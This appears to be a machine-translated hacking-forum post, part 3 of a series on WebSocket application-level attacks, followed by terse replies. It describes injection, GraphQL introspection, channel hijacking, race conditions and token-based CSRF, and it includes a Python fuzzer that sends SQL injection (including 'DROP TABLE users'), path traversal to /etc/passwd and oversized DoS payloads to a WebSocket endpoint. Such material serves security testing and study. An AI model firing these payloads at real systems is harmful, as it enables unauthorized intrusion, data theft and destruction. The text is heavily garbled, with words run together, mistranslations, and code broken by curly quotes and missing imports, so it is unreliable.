Vulnerabilities in WebSocket Configurations and Their Operation PART 3

[Depov]

Vulnerabilities of the application level - where logic lives


Let’s say theconnection is safe. Now the messaging begins. And here we are waitingfor the whole world.

1. Injections to the applicationprotocol

WS is transport. On top of it almost always worksyour protocol: JSON-RPC, GraphQLover WS, STOMP, custom binaryprotocol.

• JSON Injection / Web Socket SQLi. Client sends: {"action": "getMessages", "channel": "general' OR '1'='1"}. If the server incorrectly processes the parameters, skating them in the SQL-request, we receive a classic injection.
  
• GraphQL over WS. The entire spectrum of GraphQL vulnerabilities (introspection, brut force, Batch attacks) is alive here. Introspection is especially dangerous if it is not disconnected in the production. You can send a request through WS {__schema{...}}and get a full API card.
  
• Deserialization. If a server receives binary data and desileizes them (e.g., Pickle in Python, Java Serialization), you can try demonyren exploits.

Practical tool No4:WS-Attacker (and its analogues)
There are specialized tools. Oneof the most famous - WS-Attacker (Of course, a little outdated, butconceptually true). This is a framework for WS safety testing.

We,along our hacker path, can expand our ws-harnessto the simple phaser of the protocol.

import json


import random


import string





defgenerate_payloads(input_message):


“”"


Takes an example ofa valid message (dict) and returns a list of payloads.


“”"


payloads = []


template =input_message.copy()





# 1. SQLi


sql_payloads = [“‘OR '1’='1”, “' UNION SELECT null, version() --”, “1; DROPTABLE users--”]


for key, val intemplate.items():


if isinstance(val,str):


for sql insql_payloads:


new =template.copy()


new[key] = val + sql


payloads.append(new)





# 2. JSON Injection(structure disruption)


if ‘action’ intemplate:


new =template.copy()


new[‘action’] =‘getUser’, “admin”:true, ‘ignored’:"'


# Goal: {“action”:“getUser”, “admin”:true, ‘ignored’:“”, ...} -> maybreak parsing logic


payloads.append(new)





# 3. Path Traversal,if there are parameters resembling paths


for key, val intemplate.items():


if ‘path’ inkey.lower() or ‘file’ in key.lower() or isinstance(val, str) and(‘../’ in val or ‘\\’ in val):


for traversal in[‘../../../etc/passwd’, ‘C:\\Windows\\system32\\cmd.exe’]:


new =template.copy()


new[key] = traversal


payloads.append(new)





# 4. Large data forDoS testing


big_string = ‘A’* 100000


for key in template:


new =template.copy()


new[key] =big_string


payloads.append(new)





return payloads





async deffuzz_protocol(url, auth_message=None, test_messages=[]):


“”"


Establish aconnection (possibly with authentication), then fuzz.


“”"


async withwebsockets.connect(url) as ws:


# If authenticationis required


if auth_message:


awaitws.send(json.dumps(auth_message))


resp = awaitws.recv()


print(f“[*] Authresponse: {resp}”)





for original_msg intest_messages:


payloads =generate_payloads(original_msg)


for p in payloads:


try:


awaitws.send(json.dumps(p))


# Wait for aresponse with a short timeout


resp = awaitasyncio.wait_for(ws.recv(), timeout=2.0)


print(f“[?] For{p} -> Response: {resp[:200]}”)


# Analyze theresponse: errors, timeouts, strange data


if “error” inresp.lower() or “exception” in resp:


print(f“[!]Possible vulnerability with payload {p}”)


print(f“ Response:{resp}”)


exceptasyncio.TimeoutError:


print(f“[!]Timeout for payload {p}. Possible DoS or crash.”)


exceptwebsockets.exceptions.ConnectionClosed:


print(f“[!]Connection closed by the server after payload {p}. Seriously!”)


# Reconnect for thenext test


return

2. Insufficientinsulation of rooms/channels (Pub/Sub)

Many WSapplications use the model Pub/Sub(Publishing/Subscription). The user subscribes to the "room"or "channel". Vulnerability occurs if:

1. The name of the channel is predictable (for example, user-123-private)
   
2. There is no check of the rights to subscribe to this channel.

Attack: Learning theID of another user (often it is in the URL or public profile), theattacker subscribes to the channel
user-victim_id-privateand receives all his personal notifications, messages, changes inreal time data.

3. Condition and Race Conditions

WSconnection - state. On the server object WebSocketClientFrequently tied to the object User. Whatif two connections from one user? How does the server handlecompeting teams? For example:

1. Message "transfer money X -> Y".
   
2. Quickly send two such commands in parallel connections. A balance check can occur before debiting in both cases, which will lead to a double write-off or even a negative balance (if the “doesen” check is at the beginning, and the write-off is later).

It is difficult totest, but it is possible through the creation of a set of connectionswith the same authentication token and sending synchronizedcommands.

4. Intersite interaction via WS (CSRF vsWS-Hijacking)

We've talked about Origin before. But thereis a nuance: even if Origin is checked, the classic CSRF protection(tokens) does not work for WS, because the browser does not allow youto install custom headlines in the WS-help through the JSAPI. The main protection is Origin check and presence ofsession cookies.

However, if the application uses forauthentication in WS not cookies, but a token in the URL option(/ws?token=...), and this token can beobtained legitimately (for example, it is displayed on the page afterthe login), then a classic CSRF arises: an malignant site can insertimgsrc="https://target.com/get_token?for=attacker;, get thetoken, and then open the WS connection with it. Protection: Tokensmust be tied to the session and not issued at third parties withoutthe express consent of the user (OAuth, for example).

 

[ReaperRefs]

ty

 

[ZakZak]

++

 

[VIPAnon]

hm

 

[wrencher]

hm

 

[HqComboSpace]

123